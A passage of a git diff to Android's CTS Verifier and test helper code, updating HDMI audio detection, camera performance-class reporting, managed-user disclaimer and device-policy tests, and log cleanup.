+        Audio Loopback Latency Test
     </string>
     <string name="proaudio_hdmi_infotitle">HDMI Support</string>
     <string name="proaudio_hdmi_message">Please connect an HDMI peripheral to validate
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
index e34dce1..574d7b9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
@@ -49,7 +49,7 @@
 /**
  * Background task to generate a report and save it to external storage.
  */
-class ReportExporter extends AsyncTask<Void, Void, String> {
+public class ReportExporter extends AsyncTask<Void, Void, String> {
     private static final String TAG = ReportExporter.class.getSimpleName();
     private static final boolean DEBUG = true;
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
index 4bfad0b..9efbc857 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.verifier;
 
+import static com.android.cts.verifier.ReportExporter.LOGS_DIRECTORY;
 import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
 import static com.android.cts.verifier.TestListActivity.sInitialLaunch;
 
@@ -25,6 +26,7 @@
 import android.database.ContentObserver;
 import android.database.Cursor;
 import android.os.AsyncTask;
+import android.os.Environment;
 import android.os.Handler;
 import android.view.LayoutInflater;
 import android.view.View;
@@ -37,6 +39,7 @@
 import com.android.cts.verifier.TestListActivity.DisplayMode;
 
 import java.io.ByteArrayInputStream;
+import java.io.File;
 import java.io.IOException;
 import java.io.ObjectInputStream;
 import java.util.ArrayList;
@@ -357,10 +360,27 @@
 
     class ClearTestResultsTask extends AsyncTask<Void, Void, Void> {
 
+        private void deleteDirectory(File file) {
+            for (File subfile : file.listFiles()) {
+                if (subfile.isDirectory()) {
+                    deleteDirectory(subfile);
+                }
+                subfile.delete();
+            }
+        }
+
         @Override
         protected Void doInBackground(Void... params) {
             ContentResolver resolver = mContext.getContentResolver();
             resolver.delete(TestResultsProvider.getResultContentUri(mContext), "1", null);
+
+            // Apart from deleting metadata from content resolver database, need to delete
+            // files generated in LOGS_DIRECTORY. For example screenshots.
+            File resFolder = new File(
+                    Environment.getExternalStorageDirectory().getAbsolutePath()
+                            + File.separator + LOGS_DIRECTORY);
+            deleteDirectory(resFolder);
+
             return null;
         }
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index 9804cd3..5ca2256 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -17,11 +17,13 @@
 package com.android.cts.verifier.audio;
 
 import android.app.AlertDialog;
+import android.content.Context;
 import android.content.DialogInterface;
-import android.content.pm.PackageManager;
 import android.content.res.Resources;
+import android.media.AudioDeviceCallback;
 import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
+import android.media.AudioManager;
 import android.os.Bundle;
 import android.util.Log;
 import android.view.View;
@@ -80,6 +82,10 @@
     }
 
     // HDMI Stuff
+    private boolean isHDMIConnected() {
+        return mHDMIDeviceInfo != null;
+    }
+
     private boolean isHDMIValid() {
         if (mHDMIDeviceInfo == null) {
             return false;
@@ -130,21 +136,21 @@
         return true;
     }
 
-    protected void handleDeviceConnection(AudioDeviceInfo devInfo) {
+    protected void handleDeviceConnection(AudioDeviceInfo[] addedDevices) {
         mHDMIDeviceInfo = null;
-
-        if (devInfo.isSink() && devInfo.getType() == AudioDeviceInfo.TYPE_HDMI) {
-            mHDMIDeviceInfo = devInfo;
+        for (AudioDeviceInfo deviceInfo : addedDevices) {
+            Log.i(TAG, "  " + deviceInfo.getProductName() + " type:" + deviceInfo.getType());
+            if (deviceInfo.isSink() && deviceInfo.getType() == AudioDeviceInfo.TYPE_HDMI) {
+                mHDMIDeviceInfo = deviceInfo;
+                break;
+            }
         }
 
         if (mHDMIDeviceInfo != null) {
             mClaimsHDMICheckBox.setChecked(true);
-            mHDMISupportLbl.setText(getResources().getString(
-                    isHDMIValid() ? R.string.pass_button_text : R.string.fail_button_text));
         }
-        mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA));
 
-        calculatePass();
+        displayTestResults();
     }
 
     private boolean calculatePass() {
@@ -174,8 +180,12 @@
         } else if (!mClaimsUSBPeripheralMode) {
             mTestStatusLbl.setText(strings.getString(
                     R.string.audio_proaudio_usbperipheralnotreported));
-        } else if (mClaimsHDMI && isHDMIValid()) {
-            mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_hdminotvalid));
+        } else if (mClaimsHDMI) {
+            if (!isHDMIConnected()) {
+                mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_hdmiNotFound));
+            } else if (!isHDMIValid()) {
+                mTestStatusLbl.setText(strings.getString(R.string.hdmi_insufficient));
+            }
         }
     }
 
@@ -218,7 +228,10 @@
 
         mTestStatusLbl = (TextView)findViewById(R.id.proAudioTestStatusLbl);
 
-        calculatePass();
+        AudioManager audioManager = getSystemService(AudioManager.class);
+        audioManager.registerAudioDeviceCallback(new TestAudioDeviceCallback(), null);
+
+        displayTestResults();
     }
 
     /**
@@ -286,27 +299,39 @@
     @Override
     public void onClick(View view) {
         switch (view.getId()) {
-        case R.id.proAudioHasHDMICheckBox:
-            if (mClaimsHDMICheckBox.isChecked()) {
-                AlertDialog.Builder builder =
-                        new AlertDialog.Builder(this, android.R.style.Theme_Material_Dialog_Alert);
-                builder.setTitle(getResources().getString(R.string.proaudio_hdmi_infotitle));
-                builder.setMessage(getResources().getString(R.string.proaudio_hdmi_message));
-                builder.setPositiveButton(android.R.string.yes,
-                    new DialogInterface.OnClickListener() {
-                        public void onClick(DialogInterface dialog, int which) {}
-                 });
-                builder.setIcon(android.R.drawable.ic_dialog_alert);
-                builder.show();
+            case R.id.proAudioHasHDMICheckBox:
+                if (mClaimsHDMICheckBox.isChecked()) {
+                    AlertDialog.Builder builder = new AlertDialog.Builder(
+                            this, android.R.style.Theme_Material_Dialog_Alert);
+                    builder.setTitle(getResources().getString(R.string.proaudio_hdmi_infotitle));
+                    builder.setMessage(getResources().getString(R.string.proaudio_hdmi_message));
+                    builder.setPositiveButton(android.R.string.yes,
+                            new DialogInterface.OnClickListener() {
+                                public void onClick(DialogInterface dialog, int which) {
+                                }
+                            });
+                    builder.setIcon(android.R.drawable.ic_dialog_alert);
+                    builder.show();
 
-                mClaimsHDMI = true;
-                mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_pending));
-            } else {
-                mClaimsHDMI = false;
-                mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA));
-            }
-            calculatePass();
-            break;
+                    mClaimsHDMI = true;
+                    mHDMISupportLbl.setText(
+                            getResources().getString(R.string.audio_proaudio_hdmiPending));
+                } else {
+                    mClaimsHDMI = false;
+                    mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA));
+                }
+                displayTestResults();
+                break;
+        }
+    }
+
+    private class TestAudioDeviceCallback extends AudioDeviceCallback {
+        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+            handleDeviceConnection(addedDevices);
+        }
+
+        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+            // NOP
         }
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 63d9687..3f836b1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -150,8 +150,6 @@
 
     // Performance class R version number
     private static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R;
-    // Performance class S version number
-    private static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1;
 
     public static final int SERVERPORT = 6000;
 
@@ -737,9 +735,11 @@
                     doCheckStreamCombination(cmdObj);
                 } else if ("isCameraPrivacyModeSupported".equals(cmdObj.getString("cmdName"))) {
                     doCheckCameraPrivacyModeSupport();
-                } else if ("isPerformanceClassPrimaryCamera".equals(cmdObj.getString("cmdName"))) {
+                } else if ("isPrimaryCamera".equals(cmdObj.getString("cmdName"))) {
                     String cameraId = cmdObj.getString("cameraId");
-                    doCheckPerformanceClassPrimaryCamera(cameraId);
+                    doCheckPrimaryCamera(cameraId);
+                } else if ("isPerformanceClass".equals(cmdObj.getString("cmdName"))) {
+                    doCheckPerformanceClass();
                 } else if ("measureCameraLaunchMs".equals(cmdObj.getString("cmdName"))) {
                     String cameraId = cmdObj.getString("cameraId");
                     doMeasureCameraLaunchMs(cameraId);
@@ -1082,10 +1082,7 @@
                 hasPrivacySupport ? "true" : "false");
     }
 
-    private void doCheckPerformanceClassPrimaryCamera(String cameraId) throws ItsException {
-        boolean  isPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S
-                || Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R);
-
+    private void doCheckPrimaryCamera(String cameraId) throws ItsException {
         if (mItsCameraIdList == null) {
             mItsCameraIdList = ItsUtils.getItsCompatibleCameraIds(mCameraManager);
         }
@@ -1116,8 +1113,15 @@
             throw new ItsException("Failed to get camera characteristics", e);
         }
 
-        mSocketRunnableObj.sendResponse("performanceClassPrimaryCamera",
-                (isPerfClass && isPrimaryCamera) ? "true" : "false");
+        mSocketRunnableObj.sendResponse("primaryCamera",
+                isPrimaryCamera ? "true" : "false");
+    }
+
+    private void doCheckPerformanceClass() throws ItsException {
+        boolean  isPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS >= PERFORMANCE_CLASS_R);
+
+        mSocketRunnableObj.sendResponse("performanceClass",
+                isPerfClass ? "true" : "false");
     }
 
     private double invokeCameraPerformanceTest(Class testClass, String testName,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index 08cd8b2..c8725bb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -41,6 +41,9 @@
 import java.util.Map;
 import java.util.Set;
 import java.util.TreeSet;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
 import java.io.BufferedReader;
 import java.io.FileReader;
 import java.io.FileNotFoundException;
@@ -77,6 +80,17 @@
             Arrays.asList(new String[] {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED}));
     private static final int MAX_SUMMARY_LEN = 200;
 
+    private static final int MPC12_CAMERA_LAUNCH_THRESHOLD = 600; // ms
+    private static final int MPC12_JPEG_CAPTURE_THRESHOLD = 1000; // ms
+
+    private static final String MPC_TESTS_REPORT_LOG_NAME = "MediaPerformanceClassLogs";
+    private static final String MPC_TESTS_REPORT_LOG_SECTION = "CameraIts";
+
+    private static final Pattern MPC12_CAMERA_LAUNCH_PATTERN =
+            Pattern.compile("camera_launch_time_ms:(\\d+(\\.\\d+)?)");
+    private static final Pattern MPC12_JPEG_CAPTURE_PATTERN =
+            Pattern.compile("1080p_jpeg_capture_time_ms:(\\d+(\\.\\d+)?)");
+
     private final ResultReceiver mResultsReceiver = new ResultReceiver();
     private boolean mReceiverRegistered = false;
 
@@ -116,6 +130,10 @@
     private final HashMap<ResultKey, Boolean> mExecutedScenes = new HashMap<>();
     // map camera id to ITS summary report path
     private final HashMap<ResultKey, String> mSummaryMap = new HashMap<>();
+    // All primary cameras for which MPC level test has run
+    private Set<ResultKey> mExecutedMpcTests = null;
+    // Map primary camera id to MPC level
+    private final HashMap<String, Integer> mMpcLevelMap = new HashMap<>();
 
     final class ResultKey {
         public final String cameraId;
@@ -213,7 +231,6 @@
 
                     // Update test execution results
                     for (String scene : scenes) {
-                        HashMap<String, String> executedTests = new HashMap<>();
                         JSONObject sceneResult = jsonResults.getJSONObject(scene);
                         Log.v(TAG, sceneResult.toString());
                         String result = sceneResult.getString("result");
@@ -241,6 +258,22 @@
                                 mSummaryMap.put(key, summary);
                             }
                         } // do nothing for NOT_EXECUTED scenes
+
+                        if (sceneResult.isNull("mpc_metrics")) {
+                            continue;
+                        }
+                        // Update MPC level
+                        JSONArray metrics = sceneResult.getJSONArray("mpc_metrics");
+                        for (int i = 0; i < metrics.length(); i++) {
+                            String mpcResult = metrics.getString(i);
+                            if (!matchMpcResult(cameraId, mpcResult, MPC12_CAMERA_LAUNCH_PATTERN,
+                                    "2.2.7.2/7.5/H-1-6", MPC12_CAMERA_LAUNCH_THRESHOLD) &&
+                                    !matchMpcResult(cameraId, mpcResult, MPC12_JPEG_CAPTURE_PATTERN,
+                                    "2.2.7.2/7.5/H-1-5", MPC12_JPEG_CAPTURE_THRESHOLD)) {
+                                Log.e(TAG, "Error parsing MPC result string:" + mpcResult);
+                                return;
+                            }
+                        }
                     }
                 } catch (org.json.JSONException e) {
                     Log.e(TAG, "Error reading json result string:" + results , e);
@@ -249,6 +282,7 @@
 
                 // Set summary if all scenes reported
                 if (mSummaryMap.keySet().containsAll(mAllScenes)) {
+                    // Save test summary
                     StringBuilder summary = new StringBuilder();
                     for (String path : mSummaryMap.values()) {
                         appendFileContentToSummary(summary, path);
@@ -260,6 +294,17 @@
                             summary.toString(), 1.0, ResultType.NEUTRAL, ResultUnit.NONE);
                 }
 
+                //  Save MPC info once both front primary and rear primary data are collected.
+                if (mExecutedMpcTests.size() == 4) {
+                    ItsTestActivity.this.getReportLog().addValue(
+                            "Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE);
+                    for (Map.Entry<String, Integer> entry : mMpcLevelMap.entrySet()) {
+                        ItsTestActivity.this.getReportLog().addValue(entry.getKey(),
+                                entry.getValue(), ResultType.NEUTRAL, ResultUnit.NONE);
+                    }
+                    ItsTestActivity.this.getReportLog().submit();
+                }
+
                 // Display current progress
                 StringBuilder progress = new StringBuilder();
                 for (ResultKey k : mAllScenes) {
@@ -321,6 +366,29 @@
                 }
             }
         }
+
+        private boolean matchMpcResult(String cameraId, String mpcResult, Pattern pattern,
+                String reqNum, float threshold) {
+            Matcher matcher = pattern.matcher(mpcResult);
+            boolean match = matcher.matches();
+
+            if (match) {
+                // Store test result
+                ItsTestActivity.this.getReportLog().addValue("Cam" + cameraId,
+                        mpcResult, ResultType.NEUTRAL, ResultUnit.NONE);
+
+                float latency = Float.parseFloat(matcher.group(1));
+                int mpcLevel = latency < threshold ? 31 : 0;
+                mExecutedMpcTests.add(new ResultKey(cameraId, reqNum));
+
+                if (mMpcLevelMap.containsKey(reqNum)) {
+                    mpcLevel = Math.min(mpcLevel, mMpcLevelMap.get(reqNum));
+                }
+                mMpcLevelMap.put(reqNum, mpcLevel);
+            }
+
+            return match;
+        }
     }
 
     @Override
@@ -388,6 +456,9 @@
                 testTitle(cam, scene),
                 testId(cam, scene)));
             }
+            if (mExecutedMpcTests == null) {
+                mExecutedMpcTests = new TreeSet<>(mComparator);
+            }
             Log.d(TAG,"Total combinations to test on this device:" + mAllScenes.size());
         }
     }
@@ -427,4 +498,14 @@
         setInfoResources(R.string.camera_its_test, R.string.camera_its_test_info, -1);
         setPassFailButtonClickListeners();
     }
+
+    @Override
+    public String getReportFileName() {
+        return MPC_TESTS_REPORT_LOG_NAME;
+    }
+
+    @Override
+    public String getReportSectionName() {
+        return MPC_TESTS_REPORT_LOG_SECTION;
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java
new file mode 100644
index 0000000..9fa9d7e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Test Car Launcher Behavior with respect to Car Service actions.
+ */
+public class CarLauncherTestActivity extends PassFailButtons.Activity {
+
+    @Override
+    protected void onCreate(Bundle savedState) {
+        super.onCreate(savedState);
+        setContentView(getLayoutInflater().inflate(R.layout.car_launcher_test_main, null));
+        setPassFailButtonClickListeners();
+
+        // Sets the text in the dialog
+        setInfoResources(R.string.car_launcher_test,
+                R.string.car_launcher_test_desc, -1);
+
+        // Open the car launcher
+        findViewById(R.id.car_launcher_test_button).setOnClickListener(v -> {
+            this.startActivity(new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME));
+        });
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index e7bced9..f6b179c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -80,6 +80,13 @@
     }
 
     /**
+     * Checks whether the device requires new user disclaimer acknowledgement for managed user.
+     */
+    public static boolean isNewManagerUserDisclaimerRequired(Context context) {
+        return isAutomotive(context);
+    }
+
+    /**
      * Checks whether the device supports file transfer.
      */
     public static boolean isUsbFileTransferSupported(Context context) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 218897f..257d6df 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -126,6 +126,7 @@
     public static final String COMMAND_ENABLE_USB_DATA_SIGNALING = "enable-usb-data-signaling";
     public static final String COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY =
             "set-required-password-complexity";
+    public static final String COMMAND_CHECK_NEW_USER_DISCLAIMER = "check-new-user-disclaimer";
 
     public static final String EXTRA_USER_RESTRICTION =
             "com.android.cts.verifier.managedprovisioning.extra.USER_RESTRICTION";
@@ -435,14 +436,14 @@
                             PackageManager.DONT_KILL_APP);
                 } break;
                 case COMMAND_SET_ALWAYS_ON_VPN: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
                         return;
                     }
                     mDpm.setAlwaysOnVpnPackage(mAdmin, getPackageName(),
                             false /* lockdownEnabled */);
                 } break;
                 case COMMAND_CLEAR_ALWAYS_ON_VPN: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
                         return;
                     }
                     mDpm.setAlwaysOnVpnPackage(mAdmin, null /* vpnPackage */,
@@ -462,13 +463,13 @@
                     mDpm.setRecommendedGlobalProxy(mAdmin, null);
                 } break;
                 case COMMAND_INSTALL_CA_CERT: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
                         return;
                     }
                     mDpm.installCaCert(mAdmin, TEST_CA.getBytes());
                 } break;
                 case COMMAND_CLEAR_CA_CERT: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
                         return;
                     }
                     mDpm.uninstallCaCert(mAdmin, TEST_CA.getBytes());
@@ -560,6 +561,7 @@
                 case COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY: {
                     int complexity = intent.getIntExtra(EXTRA_VALUE,
                             DevicePolicyManager.PASSWORD_COMPLEXITY_NONE);
+                    Log.d(TAG, "calling setRequiredPasswordComplexity(" + complexity + ")");
                     mDpm.setRequiredPasswordComplexity(complexity);
                 }
             }
@@ -583,6 +585,15 @@
         return isIt;
     }
 
+    /**
+     * Checks if the {@code packageName} is a device owner app, or a profile owner app in the
+     * headless system user mode.
+      */
+    private boolean isDeviceOwnerAppOrEquivalent(String packageName) {
+        return mDpm.isDeviceOwnerApp(packageName)
+                || (UserManager.isHeadlessSystemUserMode() && mDpm.isProfileOwnerApp(packageName));
+    }
+
     private void installHelperPackage() throws Exception {
         if (UserManager.isHeadlessSystemUserMode()) {
             // App was already installed on user 0 (as instructed), so we just install it for the
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 44fb73e..449900c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -710,6 +710,7 @@
 
     private Intent createSetRequiredPasswordComplexityIntent(int complexity) {
         return new Intent(this, CommandReceiverActivity.class)
+                .putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true)
                 .putExtra(CommandReceiverActivity.EXTRA_COMMAND,
                         CommandReceiverActivity.COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY)
                 .putExtra(CommandReceiverActivity.EXTRA_VALUE, complexity);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index c18150e..7aa1eaa 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -205,10 +205,10 @@
                         new ButtonInfo(R.string.enterprise_privacy_open_settings,
                                 new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
                         new ButtonInfo(R.string.enterprise_privacy_set_always_on_vpn,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_SET_ALWAYS_ON_VPN)),
                         new ButtonInfo(R.string.enterprise_privacy_finish,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_CLEAR_ALWAYS_ON_VPN))}));
 
         adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_GLOBAL_HTTP_PROXY,
@@ -230,10 +230,10 @@
                         new ButtonInfo(R.string.enterprise_privacy_open_settings,
                                 new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
                         new ButtonInfo(R.string.enterprise_privacy_install_cert,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_INSTALL_CA_CERT)),
                         new ButtonInfo(R.string.enterprise_privacy_finish,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_CLEAR_CA_CERT))}));
         if (Utils.isLockscreenSupported(this)) {
             adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
index 14ab277..6ddcf71 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
@@ -55,6 +55,7 @@
     private static final String DISABLE_KEYGUARD_TEST_ID = "DISABLE_KEYGUARD";
     private static final String POLICY_TRANSPARENCY_TEST_ID = "POLICY_TRANSPARENCY";
     private static final String DISALLOW_REMOVE_USER_TEST_ID = "DISALLOW_REMOVE_USER";
+    private static final String CHECK_NEW_USER_DISCLAIMER_TEST_ID = "CHECK_NEW_UESR_DISCLAIMER";
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -111,6 +112,19 @@
     }
 
     private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
+        // Check managed user's new user disclaimer
+        if (FeatureUtil.isNewManagerUserDisclaimerRequired(this)) {
+            adapter.add(createInteractiveTestItem(this, CHECK_NEW_USER_DISCLAIMER_TEST_ID,
+                    R.string.check_new_user_disclaimer,
+                    R.string.check_new_user_disclaimer_info,
+                    new ButtonInfo[]{
+                            new ButtonInfo(
+                                    R.string.device_owner_settings_go,
+                                    new Intent(Settings.ACTION_USER_SETTINGS)),
+                            new ButtonInfo(R.string.enterprise_privacy_set_organization,
+                                    createSetOrganizationNameIntent())}));
+        }
+
         adapter.add(createTestItem(this, CHECK_AFFILIATED_PROFILE_OWNER_TEST_ID,
                 R.string.managed_user_check_managed_user_test,
                 new Intent(ACTION_CHECK_AFFILIATED_PROFILE_OWNER)
@@ -185,10 +199,8 @@
         adapter.add(createTestItem(this, POLICY_TRANSPARENCY_TEST_ID,
                 R.string.device_profile_owner_policy_transparency_test,
                 policyTransparencyTestIntent));
-
     }
 
-
     static TestListItem createTestItem(Activity activity, String id, int titleRes,
             Intent intent) {
         intent.putExtra(EXTRA_TEST_ID, id);
@@ -200,4 +212,9 @@
         // general test for that. TODO: add a test API to do a real check for status bar support.
         return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
     }
+
+    private Intent createSetOrganizationNameIntent() {
+        return new Intent(CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+                .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME, "Foo, Inc.");
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
index 23477c2..bcc8ce9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
@@ -139,7 +139,8 @@
                 && sSDKLevel < android.os.Build.VERSION_CODES.JELLY_BEAN_MR1) {
             return false;
         }
-        return true;
+        // TODO: revert when b/228227212 is fixed (underlying cause of b/204831731)
+        return false;
     }
 
     @Override
diff --git a/apps/VpnApp/Android.bp b/apps/VpnApp/Android.bp
index 898f4bd..55ef022 100644
--- a/apps/VpnApp/Android.bp
+++ b/apps/VpnApp/Android.bp
@@ -49,6 +49,7 @@
     manifest: "latest/AndroidManifest.xml",
     test_suites: [
         "cts",
+        "gts",
         "general-tests",
     ],
 }
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
index 0f33307..218610ea 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
@@ -120,7 +120,7 @@
     }
 
     private static void assertHasRequiredReceiver(Context context) {
-        if (!UserManager.isHeadlessSystemUserMode()) return;
+        if (!Utils.isHeadlessSystemUserMode()) return;
 
         String packageName = context.getPackageName();
         Boolean hasIt = sHasRequiredReceiver.get(packageName);
@@ -226,7 +226,7 @@
         assertHasRequiredReceiver(context);
 
         int userId = context.getUserId();
-        if (userId == UserHandle.USER_SYSTEM || !UserManager.isHeadlessSystemUserMode()) {
+        if (userId == UserHandle.USER_SYSTEM || !Utils.isHeadlessSystemUserMode()) {
             Log.i(TAG, "get(): returning 'pure' DevicePolicyManager for user " + userId);
             return manager;
         }
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
index 03b8963..57289de 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
@@ -19,6 +19,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
@@ -61,12 +62,17 @@
     @GuardedBy("LOCK")
     private static Handler sHandler;
 
+    static boolean isHeadlessSystemUserMode() {
+        return Build.VERSION.SDK_INT >= Build.VERSION_CODES.S
+                && UserManager.isHeadlessSystemUserMode();
+    }
+
     static boolean isHeadlessSystemUser() {
-        return UserManager.isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM;
